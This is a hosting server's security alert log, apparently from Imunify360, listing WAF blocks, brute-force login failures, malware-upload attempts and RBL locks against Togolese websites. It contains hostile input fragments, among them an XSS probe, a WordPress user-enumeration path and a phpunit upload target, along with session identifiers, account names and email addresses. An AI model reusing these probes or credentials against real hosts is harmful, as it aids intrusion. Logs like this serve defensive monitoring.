IM360 WAF: Attempt to upload malware||Action:||Scan duration:351820||Sizes:35081||Combined size:35081||User:myxlsnta||WPU:||Filename:index.zip||Scanned:/tmp//20260627-082057-aj-H6aIZh6Qy3YWgr4vrXAAAAFQ-file-djsWO2||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:273195||Sizes:35081||Combined size:35081||User:myxlsnta||WPU:||Filename:index.zip||Scanned:/tmp//20260627-082114-aj-H-m4-BEHj-HA3zpcHCQAAAA0-file-snqdXe||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.196.238.26
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:168.196.238.26||TA:168.196.238.26||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.145
country_id: 99237
description:
Jun 27 08:21:29 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.123.105.113
country_id: 1168579
description:
2026-06-27 08:21:30 dovecot_plain authenticator failed for H=(localhost) [223.123.105.113]:4622: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 08:24:01 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43216: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.148.28
country_id: 1643084
description:
[2026-06-27 08:24:10 +0000] info [cpaneld] 45.198.148.28 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.178.182.87
country_id: 690791
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/attaque-terroriste-dans-un-camp-militaire-a-ouagadougou-le-togo-epargne-grace-a-la-discipline-de-ses-forces-armees/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.56.219.174
country_id: 3932488
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/togopoursuite-des-realisations-sociales-au-benefice-des-populations/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 175.100.79.112
country_id: 1831722
description:
175.100.79.112 - - [27/Jun/2026:08:29:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459541&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782548941 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:175.100.79.112


plugin: ossec
rule: 11009
name: WHM login success
abuser: 175.100.79.112
country_id: 1831722
description:
[2026-06-27 08:29:09 +0000] info [whostmgrd] 175.100.79.112 NEW root:buo4LZyujU0VzDpA address=175.100.79.112,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 101.42.40.204
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/tabaski2026-long-asd-et-kurban-unissent-musulmans-et-chretiens-autour-de-21-boeufs/<script async src=||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.251.133.53
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/gratification-exceptionnelle-le-gouvernement-alloue-9-milliards-fcfa/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.251.133.53
country_id: 2542007
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/gratification-exceptionnelle-le-gouvernement-alloue-9-milliards-fcfa/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 08:29:49 +0000] info [cpaneld] 188.166.248.160 - Masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Masfloy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.2.68.217
country_id: 6252001
description:
[2026-06-27 08:30:14 +0000] info [cpaneld] 68.2.68.217 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.102.76.20
country_id: 6252001
description:
[2026-06-27 08:30:20 +0000] info [cpaneld] 208.102.76.20 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.235.113.199
country_id: 719819
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/false HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.155.42.227
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/436458809 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.239.10.90
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/11/BUDGET.webp 700w, http:/togodailynews.tg/wp-content/uploads/2025/11/BUDGET-300x200.webp 300w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.214.142.236
country_id: 1819730
description:
[2026-06-27 08:35:28 +0000] info [cpaneld] 103.214.142.236 NEW wcnyaruu:ivYYVdBdVHl8XgE_ address=103.214.142.236,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.148.28
country_id: 1643084
description:
[2026-06-27 08:37:11 +0000] info [cpaneld] 45.198.148.28 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.162.110.174
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/e3a71ed7a2aeb4b72130418dee6d89ca_L.webp 500w, http:/togodailynews.tg/wp-content/uploads/2026/02/e3a71ed7a2aeb4b72130418dee6d89ca_L-300x168.webp 300w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.148.28
country_id: 1643084
description:
[2026-06-27 08:37:57 +0000] info [cpaneld] 45.198.148.28 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 143.14.66.31
country_id: 1210997
domain: togofeed.com
description:
IM360 WAF: Possible XSS in arguments||MV:\x8c\xddh2\xf8\x90\x11\x8b\xc9<%\xf4\xa0v\nynf\xe4\xd87egm\n\xc5\x9c\xc2\xf2\x94k\x9b\xf6\xc78~<$dkx\xf3\xe3\xa3\xcat\x13\xe8)ev\xfai2u\x14!7#15\xc3\xfbo\xc67\xa3\xea\x945 \xd8\xe4\xf5|l\xcf\rf3\x952\xe9\x8b\xacz\x1e\x80i\xcev_\xdc\xcdh\t\xa9o\xe2\xbc\xbe\xa3\x90a\xfe\x060e\x96\xef`\x06_{\xed\xe9\xf7\xa6h\b\xf0\xa9\xa0x\x8c<\xe3\x13[\xa3(\xcdn*\xb6\x17m]\x0fa|\x1a[@\xb6\x84fn\x0c\xaa\x9e\x7f\xe3i9\xdayu\xaa\xa3\xb4]\x93ft\xc6\x8bx\xa50e\x80(\xcdql\x1b\xbfn\x8d\xb0-\xb1\x92\xf39\xbc\xca{ \xec\xcac\xbe\xc5o\xc6\xce\xd29\xec\x04\x13\xa70\xd2\xc0 \x7f\xdfm\xe6\xbby\xd8!\x03\xdc\xfay\xce\xe5y\x18\xd5\xaa\vgn4\x9d\xce\x89`c9\xb8\xb0\xe4\xbd\xc7>x@\xdd\xb5!\xb7\xde\xa7sb[\x86\xdc\xc8\x94l\xca\x7f\xd7\x83\xb0\xa1k|<\xa7\xc0\xa3!\xf9\xac\xd3\xe5`\xcc\xa91\xe9h\"`\x86\xd8\xbbe-p#'\xd0\x83q\x8d\x8ct\xac\xf8\x88/mxe=\x84\xfe5s\x8b \xd8kb\xfea\x14:$d\xaa\xee\xe8\xb2g\x8f\x98{g\xe9\x0f\xba|\xf5(*\xcfh )\x94s\xa0\xceth\xaa\xb0\xf5\x9a|$`\xd2\xac\xe0\xa6\x14\xc862\x92_l\x98\x13\xe2\xf8\xe3\xa8\x90\xad\x05\xa9\xb8\x04g|\xa72lk8j\x93j\x8a\xae\x85s`\xf9u\xa8\xd9\xe2j\xe1\x19\xaak\xe0\xf6\x85\x95i)\xef\xd9\xf5\xcf\x19\v]n>x]{\xcd\xff\xef\x19\b\x1dc1j\x96\x88q\xa9\xa6\xfd<\xd9~\x9c\xed\xc6m\x0c\xeb\xbdf\xc0\xef\x7f\xefi)\xf8\xe7\x0f\xafv\xe9\xb0\x07\x8cc\xc2\xa5\v\xd2ppr6\x04\xb3u\xd8,\xcb\xe6\x81x\xb5t2k\xc4'\xed\x86\xb8\xd9\xde\x97\"\x19\x89\xbf\x88\x0f\xa4;\xe0\xaee\x8e\xfa\x97\xdf<\xff$\x95\xb5\xba\xfb\x8ag\x15\x1b\x19c\xa8\x8fmy\x18/\xa3\x89\xb5\xa1\x91\xc5\xc1:r\x02\xd8\xec/\x01\x8f9\x14\xd4\x97\xfd\xc9\x96\x87h\xc7x\x8c\x00\xeb\xdc\xaf\x7f2\xaad\nl\xc8\x1d\x88\xc4\xec\x1a\xb6|c\xf07o4\xe3\xf5\xa37 \x8f\x03\x1f.\xf5\x9c\x14\xb1\xad\xb9\xc7\xc34\xf9\x8ad\xe57\xcc\xf0\x04c\x8d\xcc}\x1b||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.140.171.36
country_id: 1643084
description:
158.140.171.36 - - [27/Jun/2026:08:38:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673365&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F10%252F21%252Fmaladie-du-soda-a-prendre-tres-au-serieux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782549530 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/10/21/maladie-du-soda-a-prendre-tres-au-serieux/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.5606.1560 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.140.171.36


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.178.236.155
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/dac333e99ae7e323f6cf4ece00547186_XL.webp 770w, http:/togodailynews.tg/wp-content/uploads/2026/02/dac333e99ae7e323f6cf4ece00547186_XL-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/02/dac333e99ae7e323f6cf4ece00547186_XL-768x432.webp 768w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 195.178.110.105
country_id: 732800
description:
Denial of Service (DoS) attack was discovered from 195.178.110.105: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 08:42:18 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55412: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 155.4.221.158
country_id: 2661886
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-42.155.4.221.158||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 08:44:04 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58098: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 08:44:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44260: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 27 08:46:33 ns5 pure-ftpd[941787]: (?@47.84.180.112) [WARNING] Authentication failed for user [contact@dany2.mairie.tg]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.250.245
country_id: 1880251
description:
43.156.250.245 - - [27/Jun/2026:08:48:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750886&pdata=https%253A%252F%252Ftogodailynews.tg%252Faucun-rapport-ne-me-cite-nommement-au-senegal-non-je-ne-suis-pas-vise-par-un-mandat-darret-dans-ce-pays-dixit-mahamadou-bonkoungou-pdg-du-groupe-ebomaf%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782550124 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/aucun-rapport-ne-me-cite-nommement-au-senegal-non-je-ne-suis-pas-vise-par-un-mandat-darret-dans-ce-pays-dixit-mahamadou-bonkoungou-pdg-du-groupe-ebomaf/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.250.245


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.178.12.252
country_id: 6252001
description:
[2026-06-27 08:52:01 +0000] info [cpaneld] 97.178.12.252 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.107.116.75
country_id: 6252001
description:
[2026-06-27 08:51:55 +0000] info [cpaneld] 76.107.116.75 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.132.104.62
country_id: 6252001
description:
[2026-06-27 08:52:04 +0000] info [cpaneld] 68.132.104.62 - cafei "GET /login/?login_only=1&user=cafei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.160.237.4
country_id: 6252001
description:
[2026-06-27 08:52:07 +0000] info [cpaneld] 73.160.237.4 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.128.9.138
country_id: 6252001
description:
[2026-06-27 08:52:16 +0000] info [cpaneld] 75.128.9.138 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.239.66.154
country_id: 3017382
description:
[2026-06-27 08:53:54 +0000] info [cpaneld] 104.239.66.154 - ayhhhyhk "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.163.192.143
country_id: 1512440
description:
198.163.192.143 - - [27/Jun/2026:08:56:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7312482&pdata=https%253A%252F%252Fcfpj.tg%252Fvivu-75115petid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782550584 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/vivu-75115petid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.163.192.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [27/Jun/2026:08:58:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235991&pdata=http%253A%252F%252Fl4u8i0.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782550721 HTTP/1.1" 302 0 l4u8i0.mediatopnews.tg "http://l4u8i0.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.127
country_id: 798544
description:
Jun 27 09:00:09 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 165.154.11.202
country_id: 2328926
description:
Jun 27 09:00:02 ns5 pure-ftpd[947370]: (?@165.154.11.202) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.252.113
country_id: 3017382
domain: cpanel.ekeasarl.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cpanel.ekeasarl.com/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.127
country_id: 798544
description:
Jun 27 09:00:16 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.181.106.25
country_id: 6252001
description:
[2026-06-27 09:04:32 +0000] info [cpaneld] 70.181.106.25 - cameg "GET /login/?login_only=1&user=cameg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cameg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.42.135.208
country_id: 3895114
description:
[2026-06-27 09:04:41 +0000] info [cpaneld] 181.42.135.208 - ars "GET /login/?login_only=1&user=ars&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ars (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.205.121.79
country_id: 6252001
description:
[2026-06-27 09:04:20 +0000] info [cpaneld] 47.205.121.79 - camegtogotg "GET /login/?login_only=1&user=camegtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.218.192.104
country_id: 6252001
description:
[2026-06-27 09:04:38 +0000] info [cpaneld] 173.218.192.104 - cam "GET /login/?login_only=1&user=cam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.224.40.210
country_id: 6252001
description:
[2026-06-27 09:04:23 +0000] info [cpaneld] 75.224.40.210 - camegtog "GET /login/?login_only=1&user=camegtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.155.12.213
country_id: 953987
description:
[2026-06-27 09:04:34 +0000] info [cpaneld] 156.155.12.213 - arse "GET /login/?login_only=1&user=arse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 137.186.212.148
country_id: 6251999
description:
[2026-06-27 09:04:37 +0000] info [cpaneld] 137.186.212.148 - arsetg "GET /login/?login_only=1&user=arsetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.36.86.14
country_id: 102358
description:
[2026-06-27 09:04:30 +0000] info [cpaneld] 51.36.86.14 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.61.151.170
country_id: 1168579
description:
2026-06-27 09:10:14 dovecot_plain authenticator failed for H=(localhost) [39.61.151.170]:57101: 535 Incorrect authentication data (set_id=prakash@white-ways.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.253.252.76
country_id: 6252001
description:
104.253.252.76 - - [27/Jun/2026:09:10:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051411&pdata=https%253A%252F%252Ftogomedia24.tg%252F2022%252F03%252F24%252Fpresidentielles-2020-letat-togolais-condamne-sur-une-plainte-dagbeyome-kodjo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551420 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2022/03/24/presidentielles-2020-letat-togolais-condamne-sur-une-plainte-dagbeyome-kodjo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.5446.1266 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.253.252.76


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.182
country_id: 1880251
description:
47.128.121.182 - - [27/Jun/2026:09:11:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950116&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fpaulo-duarte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551485 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/paulo-duarte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.182


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [27/Jun/2026:09:13:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656459&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fstatistiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551592 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/statistiques/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.136.107.109
country_id: 1210997
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.136.107.109||TA:103.136.107.109||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.223.231.129
country_id: 953987
description:
[2026-06-27 09:15:12 +0000] info [cpaneld] 102.223.231.129 - moder "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user moder (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.117.62.34
country_id: 1814991
description:
[2026-06-27 09:15:17 +0000] info [cpaneld] 180.117.62.34 - Administrator "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Administrator (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [27/Jun/2026:09:18:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9990299&pdata=http%253A%252F%252Fp3lbys.mediatopnews.tg%252Flyubaberzin%2540theprivatesectorgroup.us&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551906 HTTP/1.1" 302 0 p3lbys.mediatopnews.tg "http://p3lbys.mediatopnews.tg/lyubaberzin@theprivatesectorgroup.us" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [27/Jun/2026:09:19:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050396&pdata=https%253A%252F%252Fp3lbys.mediatopnews.tg%252Flyubaberzin%2540theprivatesectorgroup.us&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551991 HTTP/2.0" 302 0 p3lbys.mediatopnews.tg "https://p3lbys.mediatopnews.tg/lyubaberzin@theprivatesectorgroup.us" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
